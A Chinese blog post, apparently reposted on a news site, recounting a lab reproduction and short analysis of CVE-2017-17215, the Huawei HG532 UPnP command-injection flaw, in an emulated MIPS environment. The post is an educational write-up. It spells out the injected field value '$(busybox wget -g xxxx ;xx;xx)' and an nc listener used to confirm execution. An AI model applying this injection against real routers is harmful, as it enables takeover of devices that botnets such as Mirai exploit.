當前位置:
首頁 > 最新 > 通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄

通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄

1.基本信息:

2017/11/27,Check Point 軟體技術部門報告了一個華為 HG532 產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。

華為已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇里找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。

分析環境是ubuntu 16.04.

先用binwalk 解壓一下:

根據 Check Point 的報告,漏洞點位於 UPnP 服務中,file命令看一下,可以看到upnp應該是跑在MIPS 32 位 大端架構系統


安裝 qemu:

安裝網路配置工具:

修改 ubuntu主機網路配置,將ubuntu主機系統中的網路介面配置文件 /etc/network/interfaces 修改為如下內容:

創建QEMU的網路介面啟動腳本(/etc/qemu-ifup)並保存為如下內容:

賦予文件/etc/qemu-ifup 可執行許可權:

重啟網路使所有的配置生效:

關閉ens33,啟動橋連網路br0

從https://people.debian.org/~aurel32/qemu/mips/下載對應的debian mips qemu鏡像

其他的帖子里有各種下載qemu鏡像的地址,試了幾個下載都不好用,各種坑

我下載的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。

啟動qemu運行剛鏡像:

好的,假如一切順利,可以看到一個qemu虛擬機,用root/root登錄進去:

發現網路不通,ifconfig -a 看一下發現網路介面為eth1:

將nano /etc/network/interfaces 文件中的eth0改為eth1:

再用ifup eth1 將eth1啟起來,運氣好的話此時網路已經好了。

直接操作虛擬機顯然比較麻煩,在ubuntu上搞個SSH 連進來,ssh root@虛擬機ip

將之前解壓的固件包拷貝到虛擬機裡面:

scp -r ./squashfs-root root@虛擬機ip:/root/

完成搭建路由器固件運行的環境。


第一個問題是怎麼讓路由器里的服務啟起來,我們也不知道是哪個文件會去處理80埠過來的請求,先看下checkpoint報告里的payload

在固件文件夾下搜一下 ctrlt 和 DeviceUpgrade_1,並沒有文件名含有這2個詞語,再搜下包含這2個詞語的文件:

找到固件所在的位置,想直接執行下upnp這個文件,報錯,缺少相應的so文件造成。

chroot /root/squashfs-root /bin/sh來切換根目錄到路由器文件系統,執行成功:

可是發包過去仍然失敗,應該是並沒有啟動監聽服務

那找下埠37215

埠號只出現在mic文件內,看下文件內容:

看字元串像是一個跟網路服務相關的文件,試下運行一下:

看起來像是對了,

ubuntu上nc -vlp 80 監聽一下埠,跑一下exp,80埠收到路由器發來的wget 請求包。

4.簡單分析:

分析一下upnp中的關鍵代碼:

根據上面payload圖,newstatusurl這個節點值為 $(busybox wget -g xxxx ;xx;xx)

其中a0是拷貝的源字元串的地址,同時a0又是system 調用的第一個參數。所以最後會執行

如果看完整篇文章想上手試一下路由器漏洞的話,不要忘了當初你是為什麼放棄的.


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 瘋貓網路 的精彩文章:

Android惡意軟體偷取Uber憑證

TAG:瘋貓網路 |